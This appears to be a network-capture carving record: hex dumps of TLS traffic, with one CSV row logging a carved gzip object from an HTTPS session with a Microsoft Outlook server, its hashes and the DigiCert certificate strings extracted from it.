b0 40 cf 19 78 e2 21 a1 e6 11 40 d9 7f c6 36 73 cd 24 ec 0a 31 58 c6 ad 70 80 21 fb 57 6f 18 09 f5 bb f9 13 e4 34 e9 12 23 cc 9c ac 55 21 24 85 02 5a 5e 40 a2 0e e1 7c 92 3c 43 66 a3 e8 08 b2 80 e2 b2 4b 2c 87 db b0 7e 67 1d be 2e 0c 6d 8e 8b 7d a0 aa 2d 5e 8f b7 2b d4 0a 04 86 ce 0d 11 35 db e7 b0 5c 0f 68 d2 29 60 ea 08 d2 a3 d7 73 66 77 ad d1 57 c9 85 68 49 20 e2 d8 4e 1e cb ed d7 03 13 83 7a 1e 16 3b 5a b8 b8 96 39 49 19 14 7f ea d9 04 32 ba f7 9a 36 5f 6b 18 19 75 08 fd 5f 96 58 d6 9f 8d 4d 1c 2a 7e 93 4e 71 dd 8a 47 e3 19 8b 33 06 86 ff 7f 5c cf 23 80 a0 05 43 18 7c 45 f6 1b e1 77 22 19 b8 40 4c c9 fd 20 fc 13 f1 bb b1 77 7b 8e 9a 5c b2 67 a0 03 ed af 97 2a ba 98 39 9a 3e 8e 54 f0 82 1f aa 3b 69 41 dc 17 11 c6 36 72 6d 7a 4e a6 37 88 b3 93 5f 84 62 75 1c 2a 07 60 3b 56 61 b2 29 6c b6 a2 8d 36 b7 09 a8 c6 8c e8 81 0b df ba ff 21 f4 0a d8 6a a2 fa b8 79 e0 66 13 26 e2 01 ed 3a 08 63 01 b2 60 cc c2 70 5f 5b e5 de 5d fe 0b 78 54 13 8c a6 87 c7 74 15 a1 41 78 e2 18 77 e0 1f 4b a1 60 12 5b 25 bf 1e fe 7b 9f a0 95 8a 27 89 75 bb d7 0f 7a 2a 1a 83 87 82 e9 48 b4 24 5d 4a d8 0c 5f 8d e8 f5 ad bc 0e ac c9 a4 e3 dc 37 ca 60 4c a1 7d 35 c3 f2 93 5f c7 23 1f ef d1 76 ab 09 93 03 87 6d a8 60 3c 76 cf 42 f3 8f d3 fd 95 c0 e3 e1 71 58 d2 9a 83 17 4c 0e 44 da 0c ea 9c b4 84 69 40 ed 91 8b b8 cf 47 d3 a7 d5 45 ea a6 a0 b6 b0 1d 2e 17 03 03 00 d2 00 00 00 00 00 00 00 04 0b f3 65 71 e4 39 c6 ab 6f 92 2d 47 92 da d8 9c fb 42 ff f1 7f fc db 9f 6f 3c 0a 2f 75 4b 16 81 04 9a f0 54 6f de b4 8e 21 5a 61 cc be c4 2b 4d be cf b5 a2 e2 89 5a da 82 f3 f8 7d ad e4 23 3d bd 0e 69 1c e8 50 f4 94 87 62 c2 c9 8c 6a 6f 8d b3 fa 6e 9d d6 dd 41 ce 1c 23 dc 7d f0 b5 65 d9 41 b0 33 71 7b 86 4e ea f5 d9 93 92 6e 2d b0 82 52 25 cd 09 68 71 c5 0c 0f 3f 1c 21 ec ff 7b e1 1a 11 4b ac 1d 99 3f e4 d5 2a 66 ef 58 69 6c 50 4f 3b f4 88 46 b9 2e 98 d8 76 3b 49 76 3d 24 6e 01 ed 65 06 c0 b1 82 34 63 27 d9 a7 0a 34 5b 31 96 0e 53 2a 01 13 19 ec 60 53 ff 8d e9 04 ca 8c bb 45 a6 d6 dc 6a 1a 43 4e 13 17 03 03 00 21 00 00 00 00 00 00 00 05 60 c6 83 ef 44 f6 7e 15 ea de e5 36 5a 6a 75 0e 16 33 80 01 ed d4 fd 25 c4 17 03 03 02 8e 00 00 00 00 00 00 00 06 2d e6 e0 cb 0f 0c 21 8f b3 57 9a 7b 34 5a 97 7c bc de eb 25 b6 42 ff da 49 62 a6 44 3b 1c 95 5a 8e ff 73 40 ad f7 30 70 03 72 36 fd 81 ff f7 27 d0 7b 5d c3 42 22 71 09 d7 48 44 04 3e 37 63 60 50 16 13 40 17 5d c8 27 70 9c 52 2f fb e2 c5 b1 e9 9b 52 90 3f 2f f6 de 3b a1 48 d1 e1 9a 00 09 4a f3 8e 8f 8e 22 a8 aa 40 67 41 bb 0a 80 fd 64 66 b8 f1 b0 b4 ba e9 45 ba c3 3b bb 1e 35 ff 9c 6b 67 24 f7 d7 d1 cb 72 73 aa 32 b1 c3 3a 9e 7e 42 ac cc ae 5b 84 9e 6a 39 ee 3d cf e8 52 c7 4e c6 24 9d 0c 7d fc 1d 86 c0 bd ff 26 78 57 28 e1 7d 46 28 be 99 79 1a 4c 54 87 0d ec 29 a1 1d 93 d5 6f fb cc d0 2f ba b9 83 d7 ff d1 8d 35 f5 d0 0d e4 d4 a9 61 d7 8f 02 c8 af 1d 56 16 1d c5 90 62 cb 64 34 35 f1 92 89 93 9c 35 9e 6c bb e3 bf 67 75 8f 2e 0b 07 b5 f3 57 1d 02 a1 5b db e7 d4 96 6d a7 6d 46 56 74 43 30 58 57 2e 1c f6 9b 13 dd c9 a4 48 ec bd ac f1 fa 19 1e 7b 44 fc 54 08 6a e6 f3 0c dd 91 47 27 be 43 dc 18 9b 06 47 4f cb 6c 73 a5 36 12 28 57 54 8f 2e e1 f2 4c 61 00 eb c8 36 3b 32 c0 5f d4 cf 7f 5a 94 b6 7c f2 44 a7 37 b2 5e 58 18 3d a2 cf d5 64 15 90 b9 ec a3 f2 d7 2d fb ce 62 f5 ba c8 39 70 0c ee 33 e9 45 0c fe 54 46 54 0c ed c3 e6 95 2b 62 e4 d3 ca a4 59 39 de 31 fa ed 39 1d c2 8d 3d ae 24 bc a2 57 96 2f bc df dd 13 be a9 17 23 48 d5 2e 02 78 3b 94 9e 2d 80 45 37 77 a9 2c 37 dc 78 bb f3 21 92 16 9d 2b 59 9d 07 6b 66 6c 71 58 74 03 67 7e 88 46 a0 ba fd bc 0b 2e b1 c2 a5 64 14 f5 cf 8a 4b c6 1e 60 94 73 0d 60 62 2b 54 72 ae 2c 39 2a b0 a2 a9 fa 6b 03 d6 31 38 86 18 45 72 3f ef fd b5 8e 45 7d df b7 f5 75 0e 0d f4 8a b5 d1 c4 c6 80 24 ca 93 6d 43 16 38 c1 98 33 b4 19 1d da 14 7e 3f b1 28 ce 90 4d d4 aa 20 67 05 0c fc 63 77 6d 85 0d 5c cd fd 2e 14 40 d5 11 75 5a 68 5f ac ec 6d 40 b8 a8 e7 a9 a9 8e 2f 21 05 56 32 45 e8 06 5a 5d 39 95 d2 d8 96 13 73 76 35 77 e3 4c f6 e7 e5 49 1b fd eb 9f 71 35 4d 31 c5 9c f5 0e 3d d1 05 b4 c9 aa bd e5 4e 92 98 c4 67 73 82 c0 43 45 81 39 09 f0 ff 90 cc 29 54 75 b2 0f 05 14 84 08 15 20 a9 da 89 4d 17 03 03 02 6f 00 00 00 00 00 00 00 07 eb d2 c0 73 7e 42 88 40 bf cb 9a a9 3e a1 b6 d3 6f 4d c3 f0 c4 78 60 5b b5 3f 0a 1e e5 d5 1f c7 49 a1 07 a8 55 f0 e5 d4 b4 6f 07 96 cf 51 7e 2c 73 97 cd 0f 1c 77 d3 58 3b ea 47 75 69 34 30 c9 3f 7b 88 de 56 4c c5 65 e3 0d c0 77 93 3c f8 08 20 c1 65 6e 5f e0 73 10 bf b9 5b 5c 29 90 82 64 ad 3c 67 15 a4 ee c6 fe 3c a4 0a 67 50 47 b8 d0 fa b8 b8 55 dd fa f3 db 96 09 42 cb df 08 58 94 c4 c8 7a 87 03 3c 82 d5 c0 e9 18 79 42 dd b0 7a 10 b4 47 aa 9d d3 ff ed 77 e9 98 61 3f b8 44 e9 d6 66 5a 9e e8 2d 92 90 e7 86 23 6b 91 cf ae a8 80 9f 78 62 e2 44 77 8a a7 b0 a2 75 7b 36 5c 14 a1 96 cb cb 0e 6b 27 87 2c 24 2f 76 64 e4 28 c3 15 70 5c 2c fd 50 57 bf 9e 74 eb 66 2a 9c 69 5b 24 77 df 34 50 d3 48 fc 84 4c 1d 66 40 d4 e4 ca 23 4c 23 93 08 9a f8 d7 ba 76 cd 4c 5b 34 d0 60 0b 22 ba 2e f0 56 56 d5 e4 67 2e ca 6e ed 8e 51 4f e0 24 50 8a ff 25 26 10 7b 41 0b 70 ee df b7 c1 6e b6 3a 31 09 14 9d db bc d7 3c 77 9b 63 b4 37 41 2d f7 eb ca 7c eb 72 f2 fd a4 de 44 d6 b8 15 71 00 d8 b9 e8 6a 63 77 90 06 83 5b 93 76 63 7e 3b 99 0a 46 07 17 f2 ff af 9b f7 81 f7 dc 20 1c 18 c4 7e 25 3f b1 e8 d5 d9 70 45 4d 5f fb 2f 0b b3 81 3a f6 63 a0 23 88 51 4d e6 cb 30 ef 63 fc 0d 3c f4 63 67 3d 58 21 11 fb 77 05 2c a1 78 8e 8f ec ea 57 4a 26 e6 b2 b4 0b dc 2b 09 8c 10 fd e8 76 57 54 4b cd 3d d8 92 a0 b9 f6 ef c2 13 c7 6a 08 8e 27 cf 0c 3d 0c 42 89 36 8e 95 27 47 db 70 21 21 33 3f 24 23 18 e6 a0 f2 f7 d1 a1 c8 f5 04 db ee fb bc ba 53 fa 27 7c f0 3a c3 62 c8 e7 5e 32 f7 a0 f0 03 c9 7d 81 fe 4e 4d 6e 61 c0 91 27 17 d3 46 72 a0 a3 09 4e 03 f1 f3 13 d7 ae 6b 87 00 42 9a c2 df 46 f0 c2 a6 ed 0b 6f 2f 27 af 68 1f 68 e8 6b ff b6 67 02 94 e7 60 d8 00 59 ff 16 cf 6d 27 03 8c 3b fe 6b e7 22 91 37 1b 43 4b de c4 a6 0f 24 27 6d 01 96 ae ed d1 00 29 59 13 fe e9 84 5f 95 07 0e 80 c7 ef 70 00 3b 5e 92 0d 2c 79 67 2f 89 a0 82 4e 74 a4 0d 86 0b 34 39 fe 80 ec 8e 27 97 69\n2026-06-14T20:03:57.830200,10.152.152.11:63966->40.104.62.178:443,10.152.152.11,63966,40.104.62.178,443,HTTP,carved_10.152.152.11:63966-40.104.62.178:443_bwd_0.gzip,gzip,/tmp/tmpkanycykx/carved_files/carved_10.152.152.11:63966-40.104.62.178:443_bwd_0.gzip,6707,2fac74dbb4051e1ea0a56ce423b479b5,61f64515ea6f05d2bdf8c9fb572f8be19de319f02d205a2a1d95ad922cbf3a04,7.75,\"iuP6, outlook.com, .hotmail.com, .internal.outlook.com, .live.com, .office.com, .office365.com, .outlook.com, .outlook.office365.com, attachment.outlook.live.net, attachment.outlook.office.net,  attachment.outlook.officeppe.net, attachments.office.net, attachments-sdf.office.net, ccs.login.microsoftonline.com, hotmail.com, mail.services.live.com, office365.com, outlook.office.com, substrate.office.com, substrate-sdf.office.com0>, 70503, 0)0', http://www.digicert.com/CPS0, Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H, Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0, 0y0$, http://ocsp.digicert.com0Q, Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0,  yF)[Ro, DigiCert Inc1, www.digicert.com1 0, DigiCert Global Root G20, 210330000000Z, 310329235959Z0Y1, DigiCert Inc1301, DigiCert Global G2 TLS RSA SHA256 2020 CA10, bRBu, j0h0$, http://ocsp.digicert.com0, 4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B, 0907, 1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0, 6040, MLV_, UZ8r, 20260609071900Z0s0q0I0, 20260609070300Z, 20260616060300Z0, Ko[j, vNvE, okg5, lZQR, QkHQU, j>yg, R_Q-, Qq5T, _rl., RZMWT-, ,AYZ, 4_Wd\",1f 8b d4 55 7c 05 e1 cf 94 70 38 72 b7 65 9d 9d 6b 76 0a 6a 69 34 5e d1 ce 3e ac ed 7f 67 a5 dd 86 02 ec 55 f3 d3 39 9c 74 fa 02 ec 3a 96 8d fe e6 e4 69 75 50 36 a9 3b bc 8c c6 38 f1 da b4 b9 30 2b 89 32 30 a9 b2 38 84 28 60 9b d6 f1 31 ff 09 ca e0 ec 1d 93 61 1b c7 c9 e2 24 8f 79 b2 0c 61 fd ee 2d df 23 1f 4d 4f ac 40 1b 2a b2 d1 0f fe d7 49 e4 23 ed 16 e7 45 3b 76 4c c5 59 f4 0d 43 70 65 10 52 7f bf a6 aa 02 cf e8 dc 87 aa 24 cb e7 09 8c cc fa af 7c 54 7a 88 91 7c 16 15 8b b7 a9 f7 61 85 45 21 fa 88 bf 96 70 20 2c d6 ba 70 de 3e 16 7b 85 de 62 47 35 3f c1 a9 66 b6 55 f7 55 d3 1d d9 e4 04 34 f3 97 9f 41 05 f6 de 78 0b 32 00 f7 7e d3 5e ce 89 d6 0e c1 18 3a a4 bd 02 03 01 00 01 a3 82 05 25 30 82 05 21 30 1f 06 03 55 1d 23 04 18 30 16 80 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 30 1d 06 03 55 1d 0e 04 16 04 14 76 45 e5 c3 cb 9c fe fa 5f fe 24 55 e8 bc 60 dd be aa 93 e1 30 82 01 bd 06 03 55 1d 11 04 82 01 b4 30 82 01 b0 82 0b 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 0d 2a 2e 68 6f 74 6d 61 69 6c 2e 63 6f 6d 82 16 2a 2e 69 6e 74 65 72 6e 61 6c 2e 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 0a 2a 2e 6c 69 76 65 2e 63 6f 6d 82 0c 2a 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 0f 2a 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 0d 2a 2e 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 17 2a 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 1b 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6c 69 76 65 2e 6e 65 74 82 1d 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 2e 6e 65 74 82 20 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 70 70 65 2e 6e 65 74 82 16 61 74 74 61 63 68 6d 65 6e 74 73 2e 6f 66 66 69 63 65 2e 6e 65 74 82 1a 61 74 74 61 63 68 6d 65 6e 74 73 2d 73 64 66 2e 6f 66 66 69 63 65 2e 6e 65 74 82 1d 63 63 73 2e 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 82 0b 68 6f 74 6d 61 69 6c 2e 63 6f 6d 82 16 6d 61 69 6c 2e 73 65 72 76 69 63 65 73 2e 6c 69 76 65 2e 63 6f 6d 82 0d 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 12 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 14 73 75 62 73 74 72 61 74 65 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 18 73 75 62 73 74 72 61 74 65 2d 73 64 66 2e 6f 66 66 69 63 65 2e 63 6f 6d 30 3e 06 03 55 1d 20 04 37 30 35 30 33 06 06 67 81 0c 01 02 02 30 29 30 27 06 08 2b 06 01 05 05 07 02 01 16 1b 68 74 74 70 3a 2f 2f 77 77 77 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 43 50 53 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 05 a0 30 13 06 03 55 1d 25 04 0c 30 0a 06 08 2b 06 01 05 05 07 03 01 30 81 9f 06 03 55 1d 1f 04 81 97 30 81 94 30 48 a0 46 a0 44 86 42 68 74 74 70 3a 2f 2f 63 72 6c 33 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 6c 30 48 a0 46 a0 44 86 42 68 74 74 70 3a 2f 2f 63 72 6c 34 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 6c 30 81 87 06 08 2b 06 01 05 05 07 01 01 04 7b 30 79 30 24 06 08 2b 06 01 05 05 07 30 01 86 18 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 30 51 06 08 2b 06 01 05 05 07 30 02 86 45 68 74 74 70 3a 2f 2f 63 61 63 65 72 74 73 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 74 30 0c 06 03 55 1d 13 01 01 ff 04 02 30 00 30 82 01 7d 06 0a 2b 06 01 04 01 d6 79 02 04 02 04 82 01 6d 04 82 01 69 01 67 00 76 00 c2 31 7e 57 45 19 a3 45 ee 7f 38 de b2 90 41 eb c7 c2 21 5a 22 bf 7f d5 b5 ad 76 9a d9 0e 52 cd 00 00 01 9d 02 27 fa 81 00 00 04 03 00 47 30 45 02 20 65 03 d2 b3 b9 5c 5a 3a fb 9c 23 6d 63 a4 98 27 a2 3c ff 95 9c 02 b2 86 93 fa 4b 0b a1 ff 79 f3 02 21 00 92 61 07 97 1c 23 5c 13 3a a4 38 1f 9f 19 43 c1 0e 6f 9f 06 5a 00 8a 1c dd 69 c2 4a 3a e8 4e 9e 00 75 00 d8 09 55 3b 94 4f 7a ff c8 16 19 6f 94 4f 85 ab b0 f8 fc 5e 87 55 26 0f 15 d1 2e 72 bb 45 4b 14 00 00 01 9d 02 27 fa b6 00 00 04 03 00 46 30 44 02 20 59 fb 3c ec a6 4c 86 42 f9 03 36 57 0c 90 b3 77 88 e0 61 fd 0e 50 56 d8 98 38 96 d8 9b 8f 18 98 02 20 70 90 7a 4e d1 25 44 ec e6 3d e2 a4 7b 3c 7e 1b bc 48 cd 7f 17 cb 88 71 32 24 fd 1d 05 48 33 33 00 76 00 94 4e 43 87 fa ec c1 ef 81 f3 19 24 26 a8 18 65 01 c7 d3 5f 38 02 01 3f 72 67 7d 55 37 2e 19 d8 00 00 01 9d 02 27 fa 8e 00 00 04 03 00 47 30 45 02 21 00 bd 0d 16 c1 72 d2 97 d7 e7 7a 36 0b 09 f5 ac 4b 96 90 76 78 7a ea a5 e5 dd 33 89 4d 3d 11 80 08 02 20 79 46 29 5b 52 6f b4 44 ae ca 90 48 88 e1 ae da a1 88 ad e2 b5 0a bf b7 05 37 2a d7 60 1a c6 0d 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 c8 d9 9f 18 d8 2d bd 8f df d8 d5 8d d4 40 4d b2 7c 38 25 d1 73 ec 17 50 fc 69 59 6c f7 f7 26 8f 13 f7 b9 82 f0 74 dd ce 49 d3 33 cf 5f 6e 80 24 35 c8 6f 6c 26 58 76 cc 89 56 36 74 1e ec 7a 54 3b d2 b4 f5 83 72 d6 1a 17 1e 67 53 cb 35 bf 16 ba bf 0f ee dd 03 2e c8 5c 7d 8d 80 f5 1c b7 52 09 52 5f 57 ec 8d 10 dd c3 a4 e7 92 30 09 d3 46 34 b8 38 3d 79 f4 61 eb d1 75 2b 81 f5 b7 2c 63 eb c2 d5 ac b1 af 15 97 ae 4f ea 4a 04 e7 46 13 0a a2 23 8f ed 38 e5 e6 42 3e 2a 49 da ee 7f 87 2b 2f 42 10 da d2 be c1 78 d6 dd b3 d1 28 12 da c0 af 73 86 a5 a6 25 3c ae f1 cf d7 03 39 d1 42 e9 52 90 27 4b 6d af f3 41 fe f1 27 5f 1b c0 ec 3b dc 5c 30 36 87 94 28 1a 81 ff da a1 ba 0b 87 86 9f cf 9f 7b c9 74 fb 79 d8 70 c2 20 43 2b de dd 63 d1 d0 71 0a b1 75 8d a5 5e d1 de 17 1b 80 00 04 cc 30 82 04 c8 30 82 03 b0 a0 03 02 01 02 02 10 0c f5 bd 06 2b 56 02 f4 7a b8 50 2c 23 cc f0 66 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 61 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 15 30 13 06 03 55 04 0a 13 0c 44 69 67 69 43 65 72 74 20 49 6e 63 31 19 30 17 06 03 55 04 0b 13 10 77 77 77 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 31 20 30 1e 06 03 55 04 03 13 17 44 69 67 69 43 65 72 74 20 47 6c 6f 62 61 6c 20 52 6f 6f 74 20 47 32 30 1e 17 0d 32 31 30 33 33 30 30 30 30 30 30 30 5a 17 0d 33 31 30 33 32 39 32 33 35 39 35 39 5a 30 59 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 15 30 13 06 03 55 04 0a 13 0c 44 69 67 69 43 65 72 74 20 49 6e 63 31 33 30 31 06 03 55 04 03 13 2a 44 69 67 69 43 65 72 74 20 47 6c 6f 62 61 6c 20 47 32 20 54 4c 53 20 52 53 41 20 53 48 41 32 35 36 20 32 30 32 30 20 43 41 31 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 cc f7 10 62 4f a6 bb 63 6f ed 90 52 56 c5 6d 27 7b 7a 12 56 8a f1 f4 f9 d6 e7 e1 8f bd 95 ab f2 60 41 15 70 db 12 00 fa 27 0a b5 57 38 5b 7d b2 51 93 71 95 0e 6a 41 94 5b 35 1b fa 7b fa bb c5 be 24 30 fe 56 ef c4 f3 7d 97 e3 14 f5 14 4d cb a7 10 f2 16 ea ab 22 f0 31 22 11 61 69 90 26 ba 78 d9 97 1f e3 7d 66 ab 75 44 95 73 c8 ac ff ef 5d 0a 8a 59 43 e1 ac b2 3a 0f f3 48 fc d7 6b 37 c1 63 dc de 46 d6 db 45 fe 7d 23 fd 90 e8 51 07 1e 51 a3 5f ed 49 46 54 7f 2c 88 c5 f4 13 9c 97 15 3c 03 e8 a1 39 dc 69 0c 32 c1 af 16 57 4c 94 47 42 7c a2 c8 9c 7d e6 d4 4d 54 af 42 99 a8 c1 04 c2 77 9c d6 48 e4 ce 11 e0 2a 80 99 f0 43 70 cf 3f 76 6b d1 4c 49 ab 24 5e c2 0d 82 fd 46 a8 ab 6c 93 cc 62 52 42 75 92 f8 9a fa 5e 5e b2 b0 61 e5 1f 1f b9 7f 09 98 e8 3d fa 83 7f 47 69 a1 02 03 01 00 01 a3 82 01 82 30 82 01 7e 30 12 06 03 55 1d 13 01 01 ff 04 08 30 06 01 01 ff 02 01 00 30 1d 06 03 55 1d 0e 04 16 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 30 1f 06 03 55 1d 23 04 18 30 16 80 14 4e 22 54 20 18 95 e6 e3 6e e6 0f fa fa b9 12 ed 06 17 8f 39 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 01 86 30 1d 06 03 55 1d 25 04 16 30 14 06 08 2b 06 01 05 05 07 03 01 06 08 2b 06 01 05 05 07 03 02 30 76 06 08 2b 06 01 05 05 07 01 01 04 6a 30 68 30 24 06 08 2b 06 01 05 05 07 30 01 86 18 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 30 40 06 08 2b 06 01 05 05 07 30 02 86 34 68 74 74 70 3a 2f 2f 63 61 63 65 72 74 73 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 52 6f 6f 74 47 32 2e 63 72 74 30 42 06 03 55 1d 1f 04 3b 30 39 30 37 a0 35 a0 33 86 31 68 74 74 70 3a 2f 2f 63 72 6c 33 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 52 6f 6f 74 47 32 2e 63 72 6c 30 3d 06 03 55 1d 20 04 36 30 34 30 0b 06 09 60 86 48 01 86 fd 6c 02 01 30 07 06 05 67 81 0c 01 01 30 08 06 06 67 81 0c 01 02 01 30 08 06 06 67 81 0c 01 02 02 30 08 06 06 67 81 0c 01 02 03 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 90 f1 70 cb 28 97 69 97 7c 74 fd c0 fa 26 7b 53 ab ad cd 65 fd ba 9c 06 9c 8a d7 5a 43 87 ed 4d 4c 56 5f ad c1 c5 b5 05 20 2e 59 d1 ff 4a f5 a0 2a d8 b0 95 ad c9 2e 4a 3b d7 a7 f6 6f 88 29 fc 30 3f 24 84 bb c3 b7 7b 93 07 2c af 87 6b 76 33 ed 00 55 52 b2 59 9e e4 b9 d0 f3 df e7 0f fe dd f8 c4 b9 10 72 81 09 04 5f cf 97 9e 2e 32 75 8e cf 9a 58 d2 57 31 7e 37 01 81 b2 66 6d 29 1a b1 66 09 6d d1 6e 90 f4 b9 fa 2f 01 14 c5 5c 56 64 01 d9 7d 87 a8 38 53 9f 8b 5d 46 6d 5c c6 27 84 81 d4 7e 8c 8c a3 9b 52 e7 c6 88 ec 37 7c 2a fb f0 55 5a 38 72 10 d8 00 13 cf 4c 73 db aa 37 35 a8 29 81 69 9c 76 bc de 18 7b 90 d4 ca cf ef 67 03 fd 04 5a 21 16 b1 ff ea 3f df dc 82 f5 eb f4 59 92 23 0d 24 2a 95 25 4c ca a1 91 e6 d4 b7 ac 87 74 b3 f1 6d a3 99 db f9 d5 bd 84 40 9f 07 98 16 00 01 db 01 00 01 d7 30 82 01 d3 0a 01 00 a0 82 01 cc 30 82 01 c8 06 09 2b 06 01 05 05 07 30 01 01 04 82 01 b9 30 82 01 b5 30 81 9e a2 16 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 18 0f 32 30 32 36 30 36 30 39 30 37 31 39 30 30 5a 30 73 30 71 30 49 30 09 06 05 2b 0e 03 02 1a 05 00 04 14 a7 c4 b8 b3 dc 5b b5 58 1e a7 d7 f1 3a c5 69 f5 6f 48 d7 89 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 02 10 05 90 cb d3 65 66 7f 41 04 a9 a2 69 0c 5b 7c 73 80 00 18 0f 32 30 32 36 30 36 30 39 30 37 30 33 30 30 5a a0 11 18 0f 32 30 32 36 30 36 31 36 30 36 30 33 30 30 5a 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 76 dd 30 27 af 59 9a e4 dc 94 3a 02 35 71 85 9d 26 2b 99 70 69 f3 96 f5 df b7 35 9d 2d 3d aa 23 9e 6c 87 68 5a 06 c6 be 9a 49 ee 04 fa 0f 53 36 7f 0a 23 1e 54 8b 5f d8 7f e5 cf ad a2 8d 4c 6c c3 44 45 b5 9b 0b be 2b 6d ec 7c fb b9 37 3a de d1 38 98 66 28 46 a2 28 0e 77 99 48 cc 10 ee bb 08 20 5a 5d 3f 80 2a 7c 64 e4 69 92 70 a0 33 b4 fd d9 74 26 e4 c1 7d f5 88 64 4c 53 b3 bc 52 06 8c cb 04 ac 98 b5 2b 74 8c b8 1b 0d bd 01 93 b4 3e fc 37 1e e8 5b c8 13 c0 e1 2f 3e 16 51 8d e1 98 dd eb 7e b4 e5 4c 68 e0 e2 4f 9e 2b 6d f3 0d 11 9d 4f 7e 32 f8 d4 d4 1e 95 e4 78 65 04 36 ee 80 ab d6 7d df 1a 5d 29 f6 22 d7 b2 05 91 98 a2 34 a0 c3 47 f0 50 cb 04 e3 d2 56 d6 93 e0 ff 22 ea 93 af 53 51 91 07 5d a9 4d 9f cc ee 5f a1 0a c6 eb 3d 4f 21 5b e9 e1 99 4d 0d 20 dc 59 f9 6c 0c 00 01 69 03 00 18 61 04 2e 74 03 57 08 cb 76 2d 10 59 82 cf 19 ef 58 e0 3d a6 21 39 70 0b 07 78 4b ef cf f8 fe b1 0d 96 06 b4 a6 26 94 4c 16 3b af ed 16 88 14 2f 2f 7c 35 cb 3b 36 44 f4 0a 44 e1 7a a2 8f 7d 4e 9c 40 0b 97 5c 78 2e 05 00 b7 81 b3 63 13 24 75 8f bc ff bf 4f ce dd a4 85 6d 06 49 74 07 93 b6 d6 20 08 04 01 00 8b 7c 5e ca 0e 2e fe 5c c1 e4 fb 34 75 3d b0 75 68 d2 1c 90 45 69 ba 88 b4 7b 2a 80 98 02 e2 1d 0b 71 3b 21 23 4d c4 9e 9c 0e 4e 58 b9 f2 4b 6f 5b 6a 02 ac db 19 60 07 2c 16 3d 62 e1 c4 92 c0 6a 43 4d 04 ef 07 31 3b d6 f1 63 23 f3 10 93 19 15 69 e0 80 25 b2 57 48 ff a7 1d 82 23 92 37 3e 86 56 d7 d3 eb 20 5d d2 b5 4b 6a b8 0a 37 23 96 49 cd 58 5b a7 38 1e b8 32 3d 29 18 ff e4 77 b6 7d a4 3d 2c f9 c5 e5 18 bd 4b 3d fe f1 1d d4 a1 68 d0 f0 6e fa b1 26 76 4e 76 45 16 52 7d 73 1b 8a d4 2f 57 c3 e3 0c 3e a9 b2 0b 5e b4 56 61 2e b7 d7 3c a7 24 95 02 c8 80 ea 71 b1 ec 7d d8 b2 e0 53 ec 85 35 20 db 27 1b 8a 7e a4 69 d8 7e c8 b8 49 9f 81 02 1a f3 24 22 a9 06 d7 80 3d df cd be 93 ca 81 bc 17 97 cd eb ee cd c3 5c be 8e 6b 81 2b 18 66 4b 62 0f 9f 71 ad b3 75 f8 69 8b f9 0e 00 00 00 16 03 03 01 2e 04 00 01 2a 00 00 8c a0 01 24 00 00 00 00 94 5e 01 69 33 01 9c 4f 9b a9 c3 80 ee d9 f0 7c de 